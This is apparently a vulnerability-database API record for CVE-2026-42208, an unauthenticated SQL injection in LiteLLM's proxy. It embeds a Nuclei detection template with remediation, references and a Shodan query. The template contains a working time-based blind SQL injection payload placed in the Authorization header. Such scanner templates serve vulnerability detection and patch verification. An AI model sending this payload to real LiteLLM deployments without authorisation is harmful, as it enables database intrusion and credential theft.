{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-42208/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-42208/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-42208/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-42208/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-42208/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-42208"},"sightings":{"href":"/api/v1/sightings/cve-2026-42208"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-42208.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-42208\n\ninfo:\n  name: LiteLLM - SQL Injection\n  author: HAERIN-L\n  severity: critical\n  description: |\n    LiteLLM 1.81.16 to < 1.83.7 contains a SQL injection caused by improper handling of caller-supplied key in database query during proxy API key checks, letting unauthenticated attackers read and modify database data, exploit requires crafted Authorization header.\n  impact: |\n    Unauthenticated attackers can read and modify proxy database, leading to unauthorized access and credential compromise.\n  remediation: |\n    Upgrade to version 1.83.7 or later.\n  reference:\n    - https://github.com/BerriAI/litellm/security/advisories/GHSA-r75f-5x8p-qvmc\n    - https://www.sysdig.com/blog/cve-2026-42208-critical-sql-injection-litellm/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-42208\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-42208\n    epss-score: 0.8942\n    epss-percentile: 0.99777\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: BerriAI\n    product: LiteLLM\n    shodan-query: http.title:\"LiteLLM\"\n  tags: cve,cve2026,litellm,sqli,unauthenticated,kev,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /ui/login/? HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        POST /v1/chat/completions HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer invalid_token_baseline_test\n\n        {}\n\n    redirects: true\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body_1, \"litellm-asset-prefix\")'\n          - 'contains(content_type_2, \"application/json\")'\n          - 'status_code_2 == 401'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 30s\n        POST /v1/chat/completions HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        Authorization: Bearer {{randstr}}' OR (SELECT pg_sleep(8)) IS NOT NULL --\n\n        {}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 401'\n          - 'duration >= 8'\n        condition: and\n# digest: 4a0a00473045022100fe35658e02a076ad55880c8fce17404b94c5548950fba041242bace601b39b6e022026b4a3a586ab3705fe4de87393b5c57803990fe58eff2da151bb0826332a2eba:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-42208"}